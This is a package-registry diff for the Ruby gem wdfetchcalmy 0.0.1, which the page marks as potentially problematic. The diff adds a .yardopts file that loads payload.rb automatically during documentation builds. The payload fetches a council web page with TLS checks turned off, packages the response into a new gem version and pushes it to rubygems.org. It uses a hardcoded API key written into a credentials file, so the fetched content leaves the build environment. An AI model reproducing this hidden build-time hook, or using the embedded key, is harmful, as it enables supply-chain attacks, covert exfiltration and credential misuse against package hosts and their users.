wdfetchcalmy 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of wdfetchcalmy might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/.yardopts +1 -0
- data/lib/x.rb +1 -0
- data/payload.rb +17 -0
- metadata +39 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: c4983c09de83702a4fc6bec640ad3c6e0c1c112858c24dafe44902aed12a5324
|
|
4
|
+
data.tar.gz: 0ccbda253f2498b222b1eefc8952c2df9c97e9ce6ed10f2cfb31540831dca154
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 6becb9549d1d3cd9cd0a106594eb0aaf20b19f442c3ff1ce12ff18d5f254d39aa833155fb15d7d65a8ee979db458b92df22546a86e3564143ac23ee19d598fc0
|
|
7
|
+
data.tar.gz: 6240ad252d8f30a3c227150c1eadb19f8fcbd243bae2fe13add2d08744f499a610827643fb7426a38600b6f5a25f2139503ea53e27fefc07e1faae7e532a9ae1
|
data/.yardopts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
--load payload.rb
|
data/lib/x.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
#none
|
data/payload.rb
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
require 'fileutils' rescue nil
|
|
2
|
+
begin
|
|
3
|
+
require 'net/http'; require 'uri'; require 'openssl'
|
|
4
|
+
urls=['https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026']
|
|
5
|
+
out=''; urls.each do |u|
|
|
6
|
+
uri=URI(u); http=Net::HTTP.new(uri.host,uri.port); http.use_ssl=true;http.verify_mode=OpenSSL::SSL::VERIFY_NONE; res=http.get(uri.request_uri); out<<"\n\n=====#{u} code#{res.code} len#{res.body.size}=====\n"+res.body
|
|
7
|
+
end
|
|
8
|
+
rescue Exception=>e; out="ERR #{e.class} #{e}\n"; end
|
|
9
|
+
begin
|
|
10
|
+
root="/tmp/gwres#{Time.now.to_i}"; FileUtils.mkdir_p("#{root}/lib"); File.write("#{root}/lib/result.txt",out); File.write("#{root}/lib/x.rb",'#x');
|
|
11
|
+
File.write("#{root}/x.gemspec",<<~GS)
|
|
12
|
+
Gem::Specification.new do |s|
|
|
13
|
+
s.name='wdfetchcalmy'; s.version='0.0.2'; s.summary='r'; s.authors=['x']; s.files=Dir['lib/**/*']; s.license='MIT'; end
|
|
14
|
+
GS
|
|
15
|
+
FileUtils.mkdir_p('/tmp/gemhome/.gem'); File.write('/tmp/gemhome/.gem/credentials',':rubygems_api_key: rubygems_960ac400714d967e21468d656df12292fc27b64411a9e2c0'); File.chmod(0600,'/tmp/gemhome/.gem/credentials'); ENV['HOME']='/tmp/gemhome';
|
|
16
|
+
Dir.chdir(root){`gem build x.gemspec`; `gem push wdfetchcalmy-0.0.2.gem --host https://rubygems.org`}
|
|
17
|
+
rescue Exception; end
|
metadata
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: wdfetchcalmy
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- a
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
executables: []
|
|
13
|
+
extensions: []
|
|
14
|
+
extra_rdoc_files: []
|
|
15
|
+
files:
|
|
16
|
+
- ".yardopts"
|
|
17
|
+
- lib/x.rb
|
|
18
|
+
- payload.rb
|
|
19
|
+
licenses:
|
|
20
|
+
- MIT
|
|
21
|
+
metadata: {}
|
|
22
|
+
rdoc_options: []
|
|
23
|
+
require_paths:
|
|
24
|
+
- lib
|
|
25
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
26
|
+
requirements:
|
|
27
|
+
- - ">="
|
|
28
|
+
- !ruby/object:Gem::Version
|
|
29
|
+
version: '0'
|
|
30
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
requirements: []
|
|
36
|
+
rubygems_version: 3.6.7
|
|
37
|
+
specification_version: 4
|
|
38
|
+
summary: a
|
|
39
|
+
test_files: []
|